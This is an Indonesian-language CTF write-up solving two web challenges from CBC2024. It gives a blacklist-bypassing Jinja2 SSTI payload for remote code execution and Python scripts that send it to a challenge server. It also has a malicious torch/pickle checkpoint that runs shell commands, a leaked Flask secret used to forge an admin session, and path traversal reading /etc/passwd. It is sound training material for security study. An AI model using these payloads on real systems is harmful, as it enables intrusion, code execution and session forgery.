# Web Exploitation

<table><thead><tr><th width="347">Challenge</th><th>Link</th></tr></thead><tbody><tr><td>No Hate Speech (230 pts)</td><td><a href="#no-hate-speech-230-pts">Here</a></td></tr><tr><td>Rocket Shop Goes by (350 pts)</td><td><a href="#rocket-shop-goes-by-350-pts">Here</a></td></tr></tbody></table>

## No Hate Speech (230 pts)

### Solution

Diberikan akses ke sebuah website dan source code. Lakukan analysis terhadap source codenya. Dapat dilihat bahwa ada 2 container yaitu web app dan ml app, container yang public facing adalah web app mari kita cek web app.

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfLPTJf7Z8OqZWYY3GNBB2vmg2e9NTU9tiST-uPO5AxNUQLjYnqdCwknFEh5pE6fQviC98GzchL7DbbbHDKlbo_7u33JfDBBHMILVo_Wwjso9E1a_jg3nBAhQ_xneXNwEtCDSCZM9IbrHRx2b5ABPvnWy2x?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Terdapat vulnerability SSTI pada line yang diblock dimana kita ketahui dari adanya string yang bisa kita kontrol pada argument render\_template\_string. Namun disini terdapat blacklist yang membuat kita tidak bisa menggunakan common payload untuk SSTI yaitu

```python
blacklist = ["_", "]", "[", ">", "<", "{{", "}}", ".", "$"] 
```

Kuncinya disini kita bisa melakukan SSTI dengan {% % }. Salah satu referensi yang saya gunakan adalah website berikut <https://ctf.zeyu2001.com/2022/securinets-ctf-finals-2022/strong>. Intinya kita bisa membypass character character penting untuk payload ssti seperti \_, square brackets, dan {{ }}. Pada payload di website tersebut hanya memanfaatkan function yang tersedia dari module yang telah diimport, bedanya disini saya membuat payload untuk melakukan import dengan memanfaatkan builtin function. Berikut adalah payload RCE pertama saya

```python
{% with a=request|attr("application")|attr((request|attr('args')|list|first,'globals',request|attr('args')|list|first)|join)|attr((request|attr('args')|list|first,'getitem',request|attr('args')|list|first)|join)((request|attr('args')|list|first,'builtins',request|attr('args')|list|first)|join)|attr((request|attr('args')|list|first,'getitem',request|attr('args')|list|first)|join)((request|attr('args')|list|first,'import',request|attr('args')|list|first)|join)('os')|attr('popen')('ls -l')|attr('read')() %}{%print(a)%}{% endwith %}
```

Setelah mendapat rce kita lanjut ke container kedua yaitu ml app.

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXcCx0ABpddqG3kViSkTDhfLGrXKM9nuQYJaMrY4h-Ah6lslnsD1vkOPjoH14xqzpYvTUIh18pOHBmvfrlUYD1clDBCuBzI4XVYX7sVEh95o_-zdr_xMngnoKhorMFuulo3pudiApjzx_1wOZPemSurUp8M?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

pada ml app ada satu endpoint yang tidak dipanggil dimana-mana yang sangat mencurigakan. Jadi disini saya coba cari mengenai torch.load tersebut karena bedanya disini kita bisa pakai model kita sendiri. Kemudian saya mendapat referensi berikut <https://hackmd.io/@Solderet/SomeWriteupForWaniCTF2023-XogSiA>. Jadi ketika torch.load digunakan dan kita bisa menggunakan model kita sendiri kita bisa melakukan RCE dengan memanfaatkan pickle deserialization. Selanjutnya ada proteksi lain yaitu harus ada admin di session, melihat dari docker-compose kita tahu bahwa SECRET\_KEY yang digunakan pada container web dan ml itu sama. Jadi lakukan leak untuk SECRET\_KEY terlebih dahulu

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXc2END_pAZuAwAqpiiYfd0XMnyvWTLvt08szZLKcORPQYtfU6hhsABhFgjDRAHFnlgodCQSC4jTP5wHXyUHEMNHck4vgV5AqZ8Y1B6rJaQrRMUutjIo3Giv5hDzO8IL126mgG4huLAzWCbL6ZtH8KT22_c?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

```python
import requests

burp0_url = "http://178.128.102.212:5001/check?__=a&.=b"
burp0_headers = {"Cache-Control": "max-age=0", "Accept-Language": "en-US", "Upgrade-Insecure-Requests": "1", "Origin": "http://178.128.102.212:5001", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://178.128.102.212:5001/", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
list_command = []
command = "env"
list_command.append(command)
for i in list_command:
exploit = "{% with a=request|attr(\"application\")|attr((request|attr('args')|list|first,'globals',request|attr('args')|list|first)|join)|attr((request|attr('args')|list|first,'getitem',request|attr('args')|list|first)|join)((request|attr('args')|list|first,'builtins',request|attr('args')|list|first)|join)|attr((request|attr('args')|list|first,'getitem',request|attr('args')|list|first)|join)((request|attr('args')|list|first,'import',request|attr('args')|list|first)|join)('os')|attr('popen')('" + i + "')|attr('read')() %}{%print(a)%}{% endwith %}"
burp0_data = {"sentence": exploit}
resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(resp.text)
```

&#x20;

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXdpp-0cahyt4J_1oWSn5uGtSd353oYOkW1ndAl9mtzUCb6VU7imOJtZG7xr61Zi_OwtAw8rFOtAwrIvO8wxvsjET3v5Bv-fYHfrSbuMDOVU4HWpvRuX3zm1Tf9dnLllBU4S2XuzROyqTpgydXFI2JNcHvD8?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Didapatkan secret\_keynya adalah sup3rsecret-k3y-666, jadi selanjutnya tinggal otomasi untuk exploit picklenya. Jalankan kode berikut dengan python3.12 sesuai dengan container target

```python
import torch

PATH = "exploit.ckpt"

class P(object):
    def __reduce__(self):
        return (exec, ("raise Exception(__import__('os').popen('cat /flag*').read())",))

torch.save(P(), PATH)
```

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfvix8nBEaG39QFtTzE0Jz_g86JsjQrXgvcpHPsXH1_AAfmVa0nZHUPwVf57MP1knvvuj3U9sgx4VBLOaE37mY26DcQAejSwJmVvBHWjMFpoJggJjH3PrFgDXU3Q6dcXwhuR5hjOBNWeIMUmago8EmOu5A?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Generate cookie dengan key admin menggunakan secret\_key yang udah dileak

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXerv7RJMd78LCSTCRjx-DFt84aWExI-7BC9CrptLTkbJdvcWWEEUVUiymo5FHxg_8UPQJ9hTlGstJrib0FFEEm8XUqPzu0mk9sC1D-ujJ7DvySyN6T2li-NcBAm4Dzpw57--0QMrhJ4LIWb66e8-kFt0Fs8?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Selanjutnya buat kode python untuk mengirim exploit ke ml\_app karena tidak ada curl yang bisa digunakan.

{% code title="ml\_expl.py" %}

```python
import requests

cookies = {
"session" : "eyJhZG1pbiI6dHJ1ZX0.Zsn0Ng.ncXMk8DloFS8cbUVnj7E4W5KdCI"
}
files = {'model_file': open('/tmp/exploit.ckpt','rb')}
data = {
"user_input" : "asd"
}
response = requests.post(
        "http://ml_app:5000/custom-analyze", cookies=cookies, files = files, data=data
)

print(response.text)
```

{% endcode %}

Terakhir, bikin otomasi untuk mengirimkan file exploit ml\_app dan exploit.ckpt ke web\_app dan menjalankannya. Untuk bypass > dan . bisa gunakan format hex untuk string yaitu \x\<hex\_val>

```python
import requests
import base64

def conv(filename):
f = open(filename, "rb").read()
return base64.b64encode(f).decode()

burp0_url = "http://178.128.102.212:5001/check?__=a&.=b"
burp0_headers = {"Cache-Control": "max-age=0", "Accept-Language": "en-US", "Upgrade-Insecure-Requests": "1", "Origin": "http://178.128.102.212:5001", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://178.128.102.212:5001/", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
list_command = []

command = f"echo -n \"{conv('ml_expl.py')}\" | base64 -d \\x3e /tmp/lol\\x2epy"
list_command.append(command)

command = f"echo -n \"{conv('tmp/exploit.ckpt')}\" | base64 -d \\x3e /tmp/exploit\\x2eckpt"
list_command.append(command)

command = "python /tmp/lol\\x2epy"
list_command.append(command)

command = "rm /tmp/lol\\x2epy"
list_command.append(command)

command = "rm /tmp/exploit\\x2eckpt"
list_command.append(command)

for i in list_command:
exploit = "{% with a=request|attr(\"application\")|attr((request|attr('args')|list|first,'globals',request|attr('args')|list|first)|join)|attr((request|attr('args')|list|first,'getitem',request|attr('args')|list|first)|join)((request|attr('args')|list|first,'builtins',request|attr('args')|list|first)|join)|attr((request|attr('args')|list|first,'getitem',request|attr('args')|list|first)|join)((request|attr('args')|list|first,'import',request|attr('args')|list|first)|join)('os')|attr('popen')('" + i + "')|attr('read')() %}{%print(a)%}{% endwith %}"
burp0_data = {"sentence": exploit}
resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(resp.text)
```

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXeeEN2IAmswgqm8_VeLpDMfVmuovPGOc7JItWlCXA2ltule5myvPHyridGrtvUpi0RFocZdinMuoJB-Em7irg3--k_EfGaNkncL63JbzmeSS9rmp1o8fEuNtXqBzVvwsNt2qVLqZF7G5KtmsvIfaLv8tczV?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXefp2yBWi4_4EHXEZOiRuCQqdR57g01CpdAqtggm9KuLgpPnaszsVpxENNDEFPFDQolhSTLQGsxnjeUUxLIcG_7KZI-riP6rERvIiEKma7kCduNSf_mSiCyzoFyUMgnrnnPdOwEYrx73eHaFFBMFDdT7Qui?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Flag: CBC2024{bdb39edbd4a4cafd4147200936684880}

## Rocket Shop Goes by (350 pts)

### Solution

Diberikan akses ke sebuah website, login dengan hint yang diberikan yaitu guest:guest

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXe5bPbSbbvx1mjaYLjrJXnhXOxk66_k1W8bQAAy9KuJSGQWs1-u-p3QcEVekXWMrKdwY40bGzj3ZzGUpLGAB8xdSAAaBhDDawgpgW8Lvb3iI1eBT0-h7D9INVLKwLSfvJT55Imv_tgjJp2JHpaKtvWUcKXH?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Terdapat beberapa hyperlink, klik Astronaut. Pada burpsuite dapat diketahui terdapat request ke endpoint /view dengan parameter file.&#x20;

&#x20;

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXee_JjzV5Pco8tmObadr7kVgQv76DNaxpQOdPM1De2ywiNVBFkbN39Q9W0TPuaNF2WKOf2DV-3T2QrLt9sK1nwDH-aoLZkOSGoMOyZrBxkXt1deT3XlknQleYF9yZply3r76Mveg-KSUa-6tITXA081-bo-?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Dari parameter terlihat seperti vulnerable terhadap local file read dengan memanfaatkan path traversal, gunakan common payload untuk membaca /etc/passwd

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXf1Vw3s--L-yazliH0BZhbzSmkLRzPFHBNWCl5ChINiHkC9qU3fjXIl4k3csFnjqE-pb9ww_c5smVzeE9u9n3nRb_sHWYQIiUjY_Jgv297-BR4CiEAowbNy4xY1fyKWWD6RrOnHiwQblCwtUYiCStndLLw?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Disini kita sudah berhasil membaca /etc/passwd, selanjutnya saya coba membaca /flag.txt namun gagal.

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXeUDN2NTCTlpwl6unX0brnT9nCDoies0rl0nrroi0PUSLbHHH0KDn61mPHQNzANE7SZtaVawsK2ChvIebnifxsiuR7nuVZpOXxtHgFwhEQyv_WTYca_8zq1qEcdBPyNNXImT0Y5v7fc5DHcCjBcWCaWp0ex?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Selanjutnya mencari informasi mengenai http server rocket ditemukan referensi berikut

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXf_GIxkIhbQ4kFts5KQzESnAfsTcihtP77Jp57-yWJBWsh_qDkVRoxxHIE5okKaEt3kXlOaJhTrscYL2pMwswubBEvCwizTOgWmCOIEK-BYPGrRYGQglh7bKHnu4wkJOx9sGW38c2I0UoQ7gWKPGY-O3cY?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Jadi rocket adalah framework dari rust, selanjutnya saya coba leak informasi dari project yaitu pada file Cargo.toml.

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXcc8vDxEdPCGSiOYjqU-SbqTjP2RR5kxeEGCHHLRxJZY9fDU0PGRYhNicsRiyPABlxQ6j9fDfnhlHhyI5CJwDEOji7Rv7n5AL3hguLlzu8ZnmpdW3NewpDyc8NzJXRgyPiwXE8EH9a2yug9dMxy2yQ8T2-g?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Coba lakukan leak terhadap source code

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXdILbZkZwRrSdHz9JJxr8sy-wqRWmRiEcZNvcQulrg0k0BAIucktk0ly-8v-uUZAmbPMXKv2YM7Oody5FosmTwFLsjq1MSgCdhLZczgA_qdb6Z7nYaQvm2pUsqMEzRtbJ1vu-5rDAds-17Rl_7XCL8_too?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Karena tidak bisa maka lakukan leak untuk executablenya, ada 2 mode yang saya cari debug dan release dan ternyata ada pada release.

Setelah berhasil mendownload, buka dengan IDA.

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXcFvCX5Y0fKMwMaJLq3PpNwXkYxlwxkn7UIpU4va8fhCjGdO6Q2cPrzHP366k_1uip005fffL5s7edj4cHRc9x4TEDP_q9mr5VnpuJTYMyqkjeRr5wPsT2kSSE93u-gDEWtYpVWYt248TCFnIH3IzFdqkz6?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

filter nama fungsi berdasarkan nama project

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfWyKFZhrMuD_h57Oy8jozGMaJa3Z5xvtT4npot43D3LB89eMMDJZzMsBymoPEa47scuGIUkZlk3I-5fRfJlrP_734ZWXY3GeBOqEpEvBtMfKMo6y8J8VP62Ux66MN806wjndAhLIegL9uypVzH7HMG7iIY?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Terdapat beberapa fungsi, terdapat fungsi get\_flag yang besar kemungkinan untuk mendapatkan flag. Disini terdapat beberapa informasi yang kita pegang, seperti endpoint untuk view file, jadi kita harus cari korelasi antara fungsi view dan endpointnya. Enumerasi satu-satu fungsi view.

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXc3E3kG-Z6MsrgaamGbZbMlnZCV4RPgu5Pd61Vl5CUXIHnG61ig5xy7F5HUxCyOxInaF5YgkDW1P9yKblwCCYZMziMJNDIdl0j0JmZNLz_zmdR0FXzDkoXGOgHvvvKd-h6rW1Zm-Af30cU9rSP_KcE9hRnM?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Pada fungsi dengan nama \_ZN19rocket\_ship\_goes\_by9view\_file9into\_info22monomorphized\_function17h9a620aead7e1bf75E terdapat xref ke fungsi main, jika kita decompile pada xrefnya dapat dilihat terdapat endpoint untuk fungsi view.

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXcATZGHWtL3BPSwtNLMWkmBLmYFCCOrtsEsAxsx6E2to3f2A4sPff9O-IxQE8KgO7s0dMiuWbAZBGq9ZrgJc7KOAm_dTYngczUcOcnSG8MxX4NG5WP2Hd0HyMLqbLQBfs7wHVK46EPsOLRADFzIWZzH8JNP?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Jadi untuk mendapatkan endpoint fungsi get\_flag, kita lakukan hal yang sama.

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXdQifXhDyqn0WDHAlfBg3kEJWPVSHiHSenu1jqAYxNUzQzjhpqVxKCAcKJWDPgVzl-c4uYtNoBNjnS5d1oMV6hIGA7j1VSo_olFFDKS0c_-x03d9wseM1imgPiH4m7ToEp8g1j-yVsfMYi_YMQraesb7Oec?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXeL1C13WQ0SJG445_eiw65U6gJ6xvMKboAj-_v3wOhk2Vrpv96gXoeBIwrV5Q2WVMxlIyJECA5xiY_24NJ96dpzyDR8uOw16l3eGgYQUC_nMMtwFMXG_C9MhjJtaKDsAntdm69hcWvaFfqowBRT8Aky8Tk?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Disini kita sudah tahu endpoint untuk get\_flag yaitu wintheflag. Selanjutnya kita analisis fungsi get\_flag

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXf5oaao6LgJtzqNG7AFfU052UUYihRWebp59wfxG0B1LX8VBF6_tMiPYq4dCic_EDWRihpE6erbH6Ht25Lg_9sonLurcSg6q5-Hdr2Q3-wam1dyx02BnQlPOKCuJTXps4Cpm1t9R1CD1r2d0EmkHlMOeQI?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Pada fungsi \_ZN19rocket\_ship\_goes\_by8get\_flag9into\_info22monomorphized\_function28\_$u7b$$u7b$closure$u7d$$u7d$17ha81b4a5bad28ccbaE terdapat validasi untuk cookie dan kalau kita konversi nialinya adalah admin

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXf4lNKDZi2HeyO77wTFsDm0GDGAQKrXoyhHj_vCOW1UTRuBhcl6kgUrQ4WTpPqXFBJ_RPlHN1ss7Nnsc9vnic32PMeItRO9uThLG6LKvN44EHM0gOunxNBe3nC-cp1-wjJ4wrV5vyRSafMf5TCN_hYuZ40?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Jadi disini kita diharuskan menggunakan admin untuk cookienya, namun dari request sukses yang kita tahu cookie hanya ada user. Jadi kita bisa lakukan debug apakah admin itu key atau value dari user tersebut. Untuk melakukan debug cukup buat direktori template aja, yang lain bisa diabaikan karena relate ke UI daripada ke backendnya.

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXd7TVX7MLmZJJm4vhgDvEiIxAnOvzBWu86Q0UPbQFkZWHX0bQpD7OLwKaJGPUts3BHUu91wzYH7EwxjX0Mh0K2dd7vqcjxIzfCjXpjcDCL5pBRYuxNYbQrVf74KMOTQO5k7E8xTZ9NhX9ILTvBTVvr6ly1I?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Selanjutnya breakpoint pada 0x24CAC3

```
pie b 0x24CAC3
pie run
```

Akses endpoint /wintheflag dengan cookie dari login guest

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXcR9TSQcDNn3cZaaVCHlyanmpfBJH1KgpzkWUeFbJP9KbkxZ2DTMlr21eLP5ZCnXGHFyfM7yPmUWGm-qE47GAl8YnTSxrx_w4XJBh4Edm6oPMyzcNIgqTDcs7s657sk94uXXOSswLc9oTu63zfIVZ4dxsUU?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXc4OT_EKXh7qHCthvMQ9i3ooVspffPRmccOOgS-Kv_1UjniYNGgcRR_hKbeF5yEN8_5hPu8FU_jIg-qYBoAKiwhaU66Gdfjxqcm88tX1NmUyUUcixLKHFjQw0IQBo6eEZAQrkB6KyByBgdwddPwoZ2MNDbP?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Bisa dilihat bahwa nilai yang dibandingkan adalah guest dan admin. Jadi bisa dibilang bahwa kita harus login sebagai admin. Selanjutnya cek fungsi login

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXePIgXCw8kzS6e6BYvoSlfzpygxU4zkUSrjB4vbzSallVZ6V-vRg2pc4DrMdOC-4wD6OoYBDS2hWMssa7iCgKw7ZX3-sfjfibiGsNdVsE_l9LV7u0PqP5kXXP4yM2LoYtvgw3Id_eQhXrvmQEzN5Q6wRYk?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Pada fungsi \_ZN19rocket\_ship\_goes\_by5login9into\_info22monomorphized\_function28\_$u7b$$u7b$closure$u7d$$u7d$17h5f53e279d7dab19bE dapat diketahui bahwa login dihardcode, jadi hanya bisa untuk guest:guest saja. Lanjut ke proses setelahnya yaitu jika user melakukan login dengan credential guest:guest

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXcnt0s4x7yUVF1Zh_yd6SgftzUS4_rtITtmbrbe-AWWRwqj3Rzo_KoFQL8L8LSwtxJ0da6d2wcpLk4TNc3JNeLTIzgR8g5gMtOTZvmmevWi9G0c7yn1EdqsooVqMVRt6_sZlbfNhUp5C7PhhRUbqLXcZ1MP?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Terdapat fungsi add\_private yang merupakan proses signing dan menghasil signature untuk user guest yang telah login. Nilai yang disign pun juga hardcoded yaitu guest, disini saya mendapat ide untuk mengubah nilai guest menjadi admin lalu melakukan continue pada program. Jadi nanti response dari endpoint login akan menghasilkan signature cookie untuk admin. Breakpoint pada address 0x24921A

```
pie b 0x24921A
c
```

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXeJIHmLXV-7S2zfad9xwAvDvc2aku-g5crWA1PKkdMww8w_SU02sFHiVpU4od6X-NEDr8Ap7ncauF3Xz7Tf3o37SlxC-vbZqCWE_QkwUTzkgLmt51nflxkqO_Crgaw83yIEa0whDcpCmremNpsDfKuboLU?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfYXrhNn5_v08-sllGADek83fYNSsuliyAWxbndDYxWK7xQbGTf2SjJnk74IdPhRzob4VBZm2_HDNTBJdtQPE9xhSq8eCyPYbUYbP979UXY0WILSN8QNsRX-wkD6_nrydMW3moL0DmkAPfW6uSu5txyAXV6?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Selanjutnya tinggal ubah nilai guest menjadi admin

```
set {char}(0x555555bbfe98) = 97
set {char}(0x555555bbfe98+1) = 100
set {char}(0x555555bbfe98+2) = 109
set {char}(0x555555bbfe98+3) = 105
set {char}(0x555555bbfe98+4) = 110
```

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfjqht-o7N5yTK2qMRbhALusgv9_z_CnuO8xbgyRShPjp6gKPG4KmiOoLSsHUSzIWIo7RepflsUPm5ILIuCh5SAFsA57cO-qul2BzlyK6ZJEB6H3iNljJPAXGcEdKUvIImWX36lIhnWmJeUvTdyFVIqM-N-?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Terakhir tinggal continue

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXeu3dKXN59HEA1SaMOJZgij5V72jbTQ_bDfO19KQfyOETks45qpk94k86MjUDrbQVsqLaOetvsorYQdLfsGiYQ1vNT34nLHstRAuWaH3Xb-V9OMRazO6NjakbCW_Rm5hLSMd_bO2E5zId9QFp3WjR6ahyLl?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Pada response akan terdapat cookie jadi gunakan cookie tersebut pada server target

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXdp8BgrxuFO4XyzwiP0_l8QPpXCOAmS91-aC49S4ETEtP0-Xa8X0RzsCk9ERTHS77ler-8NjsIpNDWkiOVPkETUcxKFksE4JEXAPDFO6qPC3HRhvAe3yeONnZufxL6gxxlapX96KSyq5Vm7mTcyGOn7i91e?key=LN5wmeu9Z-8QxNv3aDLEBQ" alt=""><figcaption></figcaption></figure>

Flag: CBC2024{9fe81363ba8fe3ef1731cc51a4bf734f}
